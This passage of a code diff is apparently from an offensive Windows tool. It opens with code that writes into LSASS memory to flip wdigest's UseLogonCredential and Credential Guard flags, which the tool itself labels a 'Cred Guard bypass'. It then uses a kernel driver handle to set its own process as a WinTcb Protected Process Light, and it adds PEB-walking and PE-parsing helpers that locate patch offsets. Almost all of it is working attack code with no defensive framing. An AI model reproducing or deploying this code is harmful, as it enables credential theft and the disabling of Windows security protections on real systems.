_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_fParameter_UseLogonCredential value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] wdigest's g_fParameter_UseLogonCredential is already patched!\n"));
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
/*
|
||||
* Setting g_IsCredGuardEnabled to 0x0.
|
||||
* Needs to temporary set the memory page of g_IsCredGuardEnabled to PAGE_READWRITE to conduct the patch.
|
||||
* First attempt to read the current value and, if the read was successfull patch the g_fParameter_UseLogonCredential to bypass Cred Guard.
|
||||
*/
|
||||
DWORD64 credGuardEnabledAddress = wdigestBaseAddress + wdigestOffsets.st.g_IsCredGuardEnabled;
|
||||
DWORD isCredGuardEnabledPatch = 0x0;
|
||||
currentValue = 0x0;
|
||||
bytesRead = 0;
|
||||
bytesWritten = 0;
|
||||
DWORD oldMemoryProtection = 0x0;
|
||||
_tprintf(TEXT("[*] Attempting to patch wdigest's g_fParameter_UseLogonCredential at 0x%I64x\n"), credGuardEnabledAddress);
|
||||
_tprintf(TEXT("[*] Attempting to set wdigest's g_IsCredGuardEnabled memory protection as PAGE_READWRITE\n"));
|
||||
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), PAGE_READWRITE, &oldMemoryProtection)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: Failed to set wdigest's g_IsCredGuardEnabled memory protection to PAGE_READWRITE (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead)) {
|
||||
_tprintf(TEXT("[+] Found wdigest's g_IsCredGuardEnabled with a current value of 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: couldn't retrieve wdigest's g_IsCredGuardEnabled value (ReadProcessMemory, error code 0x%lx). An overwrite will not be attempted.\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
if (currentValue != isCredGuardEnabledPatch) {
|
||||
if (WriteProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, (PVOID)&isCredGuardEnabledPatch, sizeof(DWORD), &bytesWritten)) {
|
||||
ReadProcessMemory(hLsass, (PVOID)credGuardEnabledAddress, ¤tValue, CurrentValueLength, &bytesRead);
|
||||
if (currentValue == isCredGuardEnabledPatch) {
|
||||
_tprintf(TEXT("[+] Successfully overwrote wdigest's g_IsCredGuardEnabled value to 0x%lx\n"), currentValue);
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: unsuccessful overwrite of wdigest's g_IsCredGuardEnabled value (current value 0x%lx instead of 0x%lx)\n"), currentValue, isCredGuardEnabledPatch);
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass fatal error: an error occurred will attempting to overwrite wdigest's g_IsCredGuardEnabled value (WriteProcessMemory, error code 0x%lx)\n"), GetLastError());
|
||||
break;
|
||||
}
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] wdigest's g_IsCredGuardEnabled is already patched!\n"));
|
||||
}
|
||||
DWORD newMemoryProtection = 0x0;
|
||||
if (!VirtualProtectEx(hLsass, (PVOID)credGuardEnabledAddress, sizeof(DWORD), oldMemoryProtection, &newMemoryProtection)) {
|
||||
_tprintf(TEXT("[!] Cred Guard bypass non fatal error: Failed to restore wdigest's g_IsCredGuardEnabled memory protection to its original value (VirtualProtectEx, error code 0x%lx)\n"), GetLastError());
|
||||
}
|
||||
else {
|
||||
_tprintf(TEXT("[+] Successfully restored wdigest's g_IsCredGuardEnabled memory protection to its original value\n"));
|
||||
}
|
||||
_tprintf(TEXT("\n\n"));
|
||||
|
||||
returnStatus = TRUE;
|
||||
|
||||
}
|
||||
}
|
||||
CloseHandle(hLsass);
|
||||
|
||||
return returnStatus;
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
/*
|
||||
|
||||
--- Functions to set the current process as a Protected Process (PsProtectedSignerWinTcb-Light).
|
||||
--- The code to locate the EPROCESS structure is adapted from:
|
||||
http://blog.rewolf.pl/blog/?p=1683
|
||||
*/
|
||||
|
||||
#include "RunAsPPL.h"
|
||||
|
||||
DWORD64 GetSelfEPROCESSAddress(BOOL verbose) {
|
||||
NTSTATUS status;
|
||||
DWORD currentProcessID = GetCurrentProcessId();
|
||||
|
||||
// Open an handle to our own process.
|
||||
HANDLE selfProcessHandle = OpenProcess(SYNCHRONIZE, FALSE, currentProcessID);
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[*] Self process handle: 0x%hx\n"), (USHORT)selfProcessHandle);
|
||||
}
|
||||
|
||||
|
||||
// Retrieves the native NtQuerySystemInformation function from ntdll.
|
||||
HMODULE hNtdll = GetModuleHandle(TEXT("ntdll"));
|
||||
if (!hNtdll) {
|
||||
_tprintf(TEXT("[!] ERROR: could not open an handle to ntdll to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
||||
if (!NtQuerySystemInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not retrieve NtQuerySystemInformation function to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
/*
|
||||
* Retrieves all the handle table using NtQuerySystemInformation.
|
||||
* Looping until NtQuerySystemInformation has sufficient space to do so (i.e does not return a STATUS_INFO_LENGTH_MISMATCH).
|
||||
* Possible alternative to explore woule be to use the ReturnLength returned by NtQuerySystemInformation.
|
||||
*/
|
||||
ULONG SystemHandleInformationSize = SystemHandleInformationBaseSize;
|
||||
PSYSTEM_HANDLE_INFORMATION tmpHandleTableInformation = NULL;
|
||||
PSYSTEM_HANDLE_INFORMATION pHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)malloc(SystemHandleInformationSize);
|
||||
if (!pHandleTableInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not allocate memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||
while (status == STATUS_INFO_LENGTH_MISMATCH) {
|
||||
SystemHandleInformationSize = SystemHandleInformationSize * 2;
|
||||
tmpHandleTableInformation = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleTableInformation, SystemHandleInformationSize);
|
||||
if (!tmpHandleTableInformation) {
|
||||
_tprintf(TEXT("[!] ERROR: could not realloc memory for the handle table to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
pHandleTableInformation = tmpHandleTableInformation;
|
||||
status = NtQuerySystemInformation(SystemHandleInformation, pHandleTableInformation, SystemHandleInformationSize, NULL);
|
||||
}
|
||||
if (!NT_SUCCESS(status)) {
|
||||
_tprintf(TEXT("[!] ERROR: could not retrieve the HandleTableInformation to find the EPROCESS struct of the current process\n"));
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
// Iterates through all the handles.
|
||||
DWORD64 returnAddress = 0x0;
|
||||
for (DWORD i = 0; i < pHandleTableInformation->NumberOfHandles; i++) {
|
||||
SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = pHandleTableInformation->Handles[i];
|
||||
|
||||
// Only retrieves the handles associated with our own process.
|
||||
if (handleInfo.UniqueProcessId != currentProcessID) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (verbose) {
|
||||
_tprintf(TEXT("[*] Handle for the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
}
|
||||
|
||||
if (handleInfo.HandleValue == (USHORT)selfProcessHandle) {
|
||||
_tprintf(TEXT("[+] Found the handle of the current process (PID: %hd): 0x%hx at 0x%I64x\n"), handleInfo.UniqueProcessId, handleInfo.HandleValue, (DWORD64)handleInfo.Object);
|
||||
returnAddress = (DWORD64)handleInfo.Object;
|
||||
}
|
||||
}
|
||||
free(pHandleTableInformation);
|
||||
CloseHandle(selfProcessHandle);
|
||||
return returnAddress;
|
||||
}
|
||||
|
||||
int SetCurrentProcessAsProtected(BOOL verbose) {
|
||||
HANDLE Device = GetDriverHandle();
|
||||
DWORD64 processEPROCESSAddress = GetSelfEPROCESSAddress(verbose);
|
||||
if (processEPROCESSAddress == 0x0) {
|
||||
_tprintf(TEXT("[!] ERROR: could not find the EPROCCES struct of the current process to self protect\n"));
|
||||
CloseHandle(Device);
|
||||
return -1;
|
||||
}
|
||||
_tprintf(TEXT("[+] Found self process EPROCCES struct at 0x%I64x\n"), processEPROCESSAddress);
|
||||
|
||||
// Sets the current process EPROCESS's ProtectionLevel as Light WinTcb (PS_PROTECTED_WINTCB_LIGHT, currently 0x61).
|
||||
DWORD64 processSignatureLevelAddress = processEPROCESSAddress + ntoskrnlOffsets.st.ps_protection;
|
||||
// DWORD64 processSignatureLevelAddress = 0xffffe481d073a080 + offsets.st.ps_protection;
|
||||
|
||||
UCHAR flagPPLWinTcb = ((UCHAR)((PsProtectedSignerWinTcb) << 4)) | ((UCHAR)(PsProtectedTypeProtectedLight));
|
||||
_tprintf(TEXT("[*] Protecting own process by setting the EPROCESS's ProtectionLevel (at 0x%I64x) to 0x%hx (PS_PROTECTED_WINTCB_LIGHT)\n"), processSignatureLevelAddress, flagPPLWinTcb);
|
||||
WriteMemoryWORD(Device, processSignatureLevelAddress, flagPPLWinTcb);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
#include "Undoc.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include <stdio.h>
|
||||
|
||||
/*
|
||||
Get the module entry in the InLoadOrderModuleList given the module name
|
||||
*/
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
|
||||
size_t nameSize = wcslen(name);
|
||||
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
if (!_memicmp(currentModuleEntry->BaseDllName.Buffer, name, sizeof(WCHAR) * nameSize)) {
|
||||
return currentModuleEntry;
|
||||
}
|
||||
}
|
||||
#ifdef _DEBUG
|
||||
printf("getModuleEntryFromNameW failed to find module\n");
|
||||
#endif // _DEBUG
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Get the module entry in the InLoadOrderModuleList given an address inside it
|
||||
Assumes : the address belong to a module
|
||||
Returns : the module it should belong to
|
||||
*/
|
||||
LDR_DATA_TABLE_ENTRY* getModuleEntryFromAbsoluteAddr(PVOID addr) {
|
||||
LDR_DATA_TABLE_ENTRY* closest = NULL;
|
||||
uintptr_t distance = (uintptr_t)-1;
|
||||
|
||||
for (LDR_DATA_TABLE_ENTRY* ptr = getNextModuleEntryInLoadOrder(NULL); ptr != NULL; ptr = getNextModuleEntryInLoadOrder(ptr)) {
|
||||
if (ptr->DllBase <= addr && ((uintptr_t)addr - (uintptr_t)ptr->DllBase) < distance) {
|
||||
distance = ((uintptr_t)addr - (uintptr_t)ptr->DllBase);
|
||||
closest = ptr;
|
||||
}
|
||||
}
|
||||
return closest;
|
||||
}
|
||||
|
||||
|
||||
/*
|
||||
Returns the next module entry in the InLoadOrderModuleList
|
||||
Assumes : curr is a ptr to a module entry in the list or NULL
|
||||
Returns :
|
||||
* if curr is non-NULL:
|
||||
* A pointer to the next entry in the list, or
|
||||
* A NULL pointer, if end of the list is reached
|
||||
* if curr is NULL
|
||||
* A pointer to the first element of the list
|
||||
*/
|
||||
LDR_DATA_TABLE_ENTRY* getNextModuleEntryInLoadOrder(LDR_DATA_TABLE_ENTRY* curr) {
|
||||
LDR_DATA_TABLE_ENTRY* start = (LDR_DATA_TABLE_ENTRY*)getPEB()->Ldr->InLoadOrderModuleList.Flink;
|
||||
if (curr == NULL) {
|
||||
return start;
|
||||
}
|
||||
LDR_DATA_TABLE_ENTRY* next = (LDR_DATA_TABLE_ENTRY*)curr->InLoadOrderLinks.Flink;
|
||||
if (next == start) {
|
||||
return NULL;
|
||||
}
|
||||
return next;
|
||||
}
|
||||
|
||||
#if _WIN64
|
||||
PEB64* getPEB() {
|
||||
return (PEB64*)__readgsqword(0x60);
|
||||
}
|
||||
|
||||
TEB64* getTEB() {
|
||||
return (TEB64*)__readgsqword(0x30);
|
||||
}
|
||||
#else
|
||||
PEB* getPEB() {
|
||||
return (PEB*)__readfsdword(0x30);
|
||||
}
|
||||
|
||||
TEB* getTEB() {
|
||||
return (TEB*)__readfsdword(0x18);
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,363 @@
|
||||
#include "PEParser.h"
|
||||
#include <stdio.h>
|
||||
#include <assert.h>
|
||||
|
||||
IMAGE_SECTION_HEADER* PE_sectionHeader_fromRVA(PE* pe, DWORD rva) {
|
||||
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
|
||||
for (DWORD sectionIndex = 0; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
|
||||
DWORD currSectionVA = sectionHeaders[sectionIndex].VirtualAddress;
|
||||
DWORD currSectionVSize = sectionHeaders[sectionIndex].Misc.VirtualSize;
|
||||
if (currSectionVA <= rva && rva < currSectionVA + currSectionVSize) {
|
||||
return §ionHeaders[sectionIndex];
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
Get the next section header having the given memory access permissions, after the provided section headers "prev".
|
||||
Exemple : PE_nextSectionHeader_fromPermissions(pe, textSection, 1, -1, 0) returns the first section header in the list after "textSection" that is readable and not writable.
|
||||
Returns NULL if no section header is found.
|
||||
*/
|
||||
IMAGE_SECTION_HEADER* PE_nextSectionHeader_fromPermissions(PE* pe, IMAGE_SECTION_HEADER* prev, INT8 readable, INT8 writable, INT8 executable) {
|
||||
IMAGE_SECTION_HEADER* sectionHeaders = pe->sectionHeaders;
|
||||
DWORD firstSectionIndex = prev == NULL ? 0 : (DWORD)((prev + 1) - sectionHeaders);
|
||||
for (DWORD sectionIndex = firstSectionIndex; sectionIndex < pe->ntHeader->FileHeader.NumberOfSections; sectionIndex++) {
|
||||
DWORD sectionCharacteristics = sectionHeaders[sectionIndex].Characteristics;
|
||||
if (readable != 0) {
|
||||
if (sectionCharacteristics & IMAGE_SCN_MEM_READ) {
|
||||
if (readable == -1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (readable == 1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (writable != 0) {
|
||||
if (sectionCharacteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
if (writable == -1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (writable == 1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (executable != 0) {
|
||||
if (sectionCharacteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
if (executable == -1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
else {
|
||||
if (executable == 1) {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
return §ionHeaders[sectionIndex];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
PVOID PE_RVA_to_Addr(PE* pe, DWORD rva) {
|
||||
PVOID peBase = pe->dosHeader;
|
||||
if (pe->isMemoryMapped) {
|
||||
return (PBYTE)peBase + rva;
|
||||
}
|
||||
|
||||
IMAGE_SECTION_HEADER* rvaSectionHeader = PE_sectionHeader_fromRVA(pe, rva);
|
||||
if (NULL == rvaSectionHeader) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return (PBYTE)peBase + rvaSectionHeader->PointerToRawData + (rva - rvaSectionHeader->VirtualAddress);
|
||||
}
|
||||
}
|
||||
|
||||
DWORD PE_Addr_to_RVA(PE* pe, PVOID addr) {
|
||||
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||
PVOID sectionAddr = PE_RVA_to_Addr(pe, sectionVA);
|
||||
if (sectionAddr <= addr && addr < (PVOID)((intptr_t)sectionAddr + (intptr_t)sectionSize)) {
|
||||
intptr_t relativeOffset = ((intptr_t)addr - (intptr_t)sectionAddr);
|
||||
assert(relativeOffset <= MAXDWORD);
|
||||
return sectionVA + (DWORD)relativeOffset;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
VOID PE_parseRelocations(PE* pe) {
|
||||
IMAGE_BASE_RELOCATION* relocationBlocks = PE_RVA_to_Addr(pe, pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
|
||||
IMAGE_BASE_RELOCATION* relocationBlockPtr = relocationBlocks;
|
||||
IMAGE_BASE_RELOCATION* nextRelocationBlockPtr;
|
||||
pe->nbRelocations = 0;
|
||||
DWORD relocationsLength = 16;
|
||||
pe->relocations = calloc(relocationsLength, sizeof(PE_relocation));
|
||||
if (NULL == pe->relocations)
|
||||
exit(1);
|
||||
|
||||
while (((size_t)relocationBlockPtr - (size_t)relocationBlocks) < pe->dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) {
|
||||
IMAGE_RELOCATION_ENTRY* relocationEntry = (IMAGE_RELOCATION_ENTRY*)&relocationBlockPtr[1];
|
||||
nextRelocationBlockPtr = (IMAGE_BASE_RELOCATION*)(((PBYTE)relocationBlockPtr) + relocationBlockPtr->SizeOfBlock);
|
||||
while ((PBYTE)relocationEntry < (PBYTE)nextRelocationBlockPtr) {
|
||||
DWORD relocationRVA = relocationBlockPtr->VirtualAddress + relocationEntry->Offset;
|
||||
if (pe->nbRelocations >= relocationsLength) {
|
||||
relocationsLength *= 2;
|
||||
void* pe_relocations = pe->relocations;
|
||||
assert(NULL != pe_relocations);
|
||||
pe->relocations = realloc(pe_relocations, relocationsLength * sizeof(PE_relocation));
|
||||
assert(NULL != pe->relocations);
|
||||
}
|
||||
pe->relocations[pe->nbRelocations].RVA = relocationRVA;
|
||||
pe->relocations[pe->nbRelocations].Type = relocationEntry->Type;
|
||||
pe->nbRelocations++;
|
||||
relocationEntry++;
|
||||
}
|
||||
relocationBlockPtr = nextRelocationBlockPtr;
|
||||
}
|
||||
void* pe_relocations = pe->relocations;
|
||||
assert(pe_relocations != NULL);
|
||||
pe->relocations = realloc(pe_relocations, pe->nbRelocations * sizeof(PE_relocation));
|
||||
if (NULL == pe->relocations)
|
||||
exit(1);
|
||||
}
|
||||
|
||||
VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
|
||||
{
|
||||
DWORD* relocDwAddress;
|
||||
QWORD* relocQwAddress;
|
||||
|
||||
if (pe->isMemoryMapped) {
|
||||
printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
|
||||
return;
|
||||
}
|
||||
if (NULL == pe->relocations) {
|
||||
PE_parseRelocations(pe);
|
||||
}
|
||||
assert(pe->relocations != NULL);
|
||||
PVOID oldBaseAddress = pe->baseAddress;
|
||||
pe->baseAddress = newBaseAddress;
|
||||
for (DWORD i = 0; i < pe->nbRelocations; i++) {
|
||||
switch (pe->relocations[i].Type) {
|
||||
case IMAGE_REL_BASED_ABSOLUTE:
|
||||
break;
|
||||
case IMAGE_REL_BASED_HIGHLOW:
|
||||
relocDwAddress = (DWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
|
||||
intptr_t relativeOffset = ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||
assert(relativeOffset <= MAXDWORD);
|
||||
*relocDwAddress += (DWORD)relativeOffset;
|
||||
break;
|
||||
case IMAGE_REL_BASED_DIR64:
|
||||
relocQwAddress = (QWORD*)PE_RVA_to_Addr(pe, pe->relocations[i].RVA);
|
||||
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
|
||||
break;
|
||||
default:
|
||||
printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
|
||||
PE* pe = calloc(1, sizeof(PE));
|
||||
if (NULL == pe) {
|
||||
exit(1);
|
||||
}
|
||||
pe->isMemoryMapped = isMemoryMapped;
|
||||
pe->isInAnotherAddressSpace = FALSE;
|
||||
pe->hProcess = INVALID_HANDLE_VALUE;
|
||||
pe->dosHeader = imageBase;
|
||||
pe->ntHeader = (IMAGE_NT_HEADERS*)(((PBYTE)imageBase) + pe->dosHeader->e_lfanew);
|
||||
pe->optHeader = &pe->ntHeader->OptionalHeader;
|
||||
if (isMemoryMapped) {
|
||||
pe->baseAddress = imageBase;
|
||||
}
|
||||
else {
|
||||
pe->baseAddress = (PVOID)pe->optHeader->ImageBase;
|
||||
}
|
||||
pe->dataDir = pe->optHeader->DataDirectory;
|
||||
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)(((PBYTE)pe->optHeader) + pe->ntHeader->FileHeader.SizeOfOptionalHeader);
|
||||
DWORD exportRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (exportRVA == 0) {
|
||||
pe->exportDirectory = NULL;
|
||||
pe->exportedNames = NULL;
|
||||
pe->exportedFunctions = NULL;
|
||||
pe->exportedOrdinals = NULL;
|
||||
}
|
||||
else {
|
||||
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
|
||||
pe->exportedNames = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNames);
|
||||
pe->exportedFunctions = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfFunctions);
|
||||
pe->exportedOrdinals = PE_RVA_to_Addr(pe, pe->exportDirectory->AddressOfNameOrdinals);
|
||||
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
return pe;
|
||||
}
|
||||
|
||||
PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
|
||||
PE* pe = calloc(1, sizeof(PE));
|
||||
if (NULL == pe) {
|
||||
exit(1);
|
||||
}
|
||||
pe->isMemoryMapped = TRUE;
|
||||
pe->hProcess = hProcess;
|
||||
pe->isInAnotherAddressSpace = TRUE;
|
||||
pe->baseAddress = imageBase;
|
||||
pe->dosHeader = imageBase;
|
||||
DWORD ntHeaderPtrAddress = 0;
|
||||
ReadProcessMemory(hProcess, (LPCVOID)((intptr_t)imageBase + offsetof(IMAGE_DOS_HEADER, e_lfanew)), &ntHeaderPtrAddress, sizeof(ntHeaderPtrAddress), NULL);
|
||||
pe->ntHeader = (IMAGE_NT_HEADERS*)((intptr_t)pe->baseAddress + ntHeaderPtrAddress);
|
||||
pe->optHeader = (IMAGE_OPTIONAL_HEADER*)(&pe->ntHeader->OptionalHeader);
|
||||
pe->dataDir = pe->optHeader->DataDirectory;
|
||||
WORD sizeOfOptionnalHeader = 0;
|
||||
ReadProcessMemory(hProcess, &pe->ntHeader->FileHeader.SizeOfOptionalHeader, &sizeOfOptionnalHeader, sizeof(sizeOfOptionnalHeader), NULL);
|
||||
pe->sectionHeaders = (IMAGE_SECTION_HEADER*)((intptr_t)pe->optHeader + sizeOfOptionnalHeader);
|
||||
DWORD exportRVA = 0;
|
||||
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress, &exportRVA, sizeof(exportRVA), NULL);
|
||||
if (exportRVA == 0) {
|
||||
pe->exportDirectory = NULL;
|
||||
pe->exportedNames = NULL;
|
||||
pe->exportedFunctions = NULL;
|
||||
pe->exportedOrdinals = NULL;
|
||||
}
|
||||
else {
|
||||
pe->exportDirectory = PE_RVA_to_Addr(pe, exportRVA);
|
||||
|
||||
DWORD AddressOfNames = 0;
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNames, &AddressOfNames, sizeof(AddressOfNames), NULL);
|
||||
pe->exportedNames = PE_RVA_to_Addr(pe, AddressOfNames);
|
||||
|
||||
DWORD AddressOfFunctions = 0;
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfFunctions, &AddressOfFunctions, sizeof(AddressOfFunctions), NULL);
|
||||
pe->exportedFunctions = PE_RVA_to_Addr(pe, AddressOfFunctions);
|
||||
|
||||
DWORD AddressOfNameOrdinals = 0;
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->AddressOfNameOrdinals, &AddressOfNameOrdinals, sizeof(AddressOfNameOrdinals), NULL);
|
||||
pe->exportedOrdinals = PE_RVA_to_Addr(pe, AddressOfNameOrdinals);
|
||||
|
||||
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
|
||||
}
|
||||
pe->relocations = NULL;
|
||||
return pe;
|
||||
}
|
||||
|
||||
|
||||
DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
|
||||
IMAGE_EXPORT_DIRECTORY* exportDirectory = pe->exportDirectory;
|
||||
LPDWORD exportedNames = pe->exportedNames;
|
||||
LPDWORD exportedFunctions = pe->exportedFunctions;
|
||||
LPWORD exportedNameOrdinals = pe->exportedOrdinals;
|
||||
|
||||
DWORD nameOrdinal_low = 0;
|
||||
LPCSTR exportName_low = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_low]);
|
||||
DWORD nameOrdinal_high = exportDirectory->NumberOfNames;
|
||||
DWORD nameOrdinal_mid;
|
||||
LPCSTR exportName_mid;
|
||||
|
||||
while (nameOrdinal_high - nameOrdinal_low > 1) {
|
||||
nameOrdinal_mid = (nameOrdinal_high + nameOrdinal_low) / 2;
|
||||
exportName_mid = PE_RVA_to_Addr(pe, exportedNames[nameOrdinal_mid]);
|
||||
if (strcmp(exportName_mid, functionName) > 0) {
|
||||
nameOrdinal_high = nameOrdinal_mid;
|
||||
}
|
||||
else {
|
||||
nameOrdinal_low = nameOrdinal_mid;
|
||||
exportName_low = exportName_mid;
|
||||
}
|
||||
}
|
||||
if (!strcmp(exportName_low, functionName))
|
||||
return exportedFunctions[exportedNameOrdinals[nameOrdinal_low]];
|
||||
return 0;
|
||||
}
|
||||
|
||||
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
|
||||
DWORD functionRVA = PE_functionRVA(pe, functionName);
|
||||
return PE_RVA_to_Addr(pe, functionRVA);
|
||||
}
|
||||
|
||||
PVOID PE_search_pattern(PE* pe, PBYTE pattern, size_t patternSize) {
|
||||
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||
if ((size_t)sectionSize < patternSize) {
|
||||
continue;
|
||||
}
|
||||
assert(patternSize <= MAXDWORD);
|
||||
DWORD endSize = sectionSize - (DWORD)patternSize;
|
||||
for (DWORD offset = 0; offset < endSize; offset++) {
|
||||
PBYTE ptr = PE_RVA_to_Addr(pe, sectionVA + offset);
|
||||
if (!memcmp(ptr, pattern, patternSize)) {
|
||||
return ptr;
|
||||
}
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReferenceSize) {
|
||||
signed long long int maximum;
|
||||
signed long long int minimum;
|
||||
|
||||
switch (relativeReferenceSize)
|
||||
{
|
||||
case 1:
|
||||
minimum = MININT8;
|
||||
maximum = MAXINT8;
|
||||
break;
|
||||
case 2:
|
||||
minimum = MININT16;
|
||||
maximum = MAXINT16;
|
||||
break;
|
||||
case 4:
|
||||
minimum = MININT32;
|
||||
maximum = MAXINT32;
|
||||
break;
|
||||
default:
|
||||
minimum = 0;
|
||||
maximum = 0;
|
||||
break;
|
||||
}
|
||||
for (int i = 0; i < pe->ntHeader->FileHeader.NumberOfSections; i++) {
|
||||
DWORD sectionVA = pe->sectionHeaders[i].VirtualAddress;
|
||||
DWORD sectionSize = pe->sectionHeaders[i].Misc.VirtualSize;
|
||||
DWORD targetRVA = PE_Addr_to_RVA(pe, target);
|
||||
//TODO : implement optimization rva in range(targetRVA - maximum - relativeReferenceSize,targetRVA + minimum - relativeReferenceSize) inter range(sectionVA, sectionVA+sectionSize)
|
||||
for (DWORD rva = sectionVA; rva <= sectionVA + sectionSize - relativeReferenceSize; rva++) {
|
||||
switch (relativeReferenceSize) {
|
||||
case 1:
|
||||
if (rva + relativeReferenceSize + *(INT8*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||
return PE_RVA_to_Addr(pe, rva);
|
||||
}
|
||||
break;
|
||||
case 2:
|
||||
if (rva + relativeReferenceSize + *(INT16*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||
return PE_RVA_to_Addr(pe, rva);
|
||||
}
|
||||
break;
|
||||
case 4:
|
||||
if (rva + relativeReferenceSize + *(INT32*)PE_RVA_to_Addr(pe, rva) == targetRVA) {
|
||||
return PE_RVA_to_Addr(pe, rva);
|
||||
}
|
||||
